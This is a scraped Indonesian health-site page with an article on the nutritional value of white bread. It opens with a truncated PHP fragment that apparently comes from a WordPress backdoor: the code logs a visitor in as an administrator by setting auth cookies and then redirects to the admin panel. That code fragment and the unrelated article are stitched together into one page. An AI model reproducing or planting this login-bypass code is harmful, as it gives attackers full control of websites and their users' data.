user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Health & Diet
Nutrisi dalam Setangkup Roti

15 Jun 2011

Bagi kebanyakan orang, terutama warga kota besar, sarapan setangkup roti tawar sudah menjadi kebiasaan sehari-hari. Karena mudah disiapkan, roti menjadi pilihan praktis buat para pekerja kantoran atau anak-anak sekolah yang harus berangkat pagi-pagi.

Clinical dietitian / nutritionist dari Komunitas Sehati, Emilia E. Achmadi M.Sc., RD, membenarkan, roti sudah menjadi sarapan yang populer. Apalagi, cita rasa roti juga sudah beragam. Namun, yang lebih penting dari kepraktisan adalah cara yang benar mengonsumsi roti agar memenuhi kebutuhan nutrisi tubuh kita.

Roti seperti apa favorit Anda? Yang empuk, lembut di lidah, dan berwarna putih bersih? Menurut Emilia, jenis roti yang lembut dan gampang lumer di lidah memang paling disukai orang.

Padahal, untuk membuat roti yang enak tadi dibutuhkan tepung gandum yang paling halus dan putih. Sayangnya, proses pembuatannya biasanya mengganggu kadar serat dan vitamin B kompleks yang secara alami terdapat dalam gandum. Bisa-bisa yang tertinggal karbohidratnya saja.

Advertisement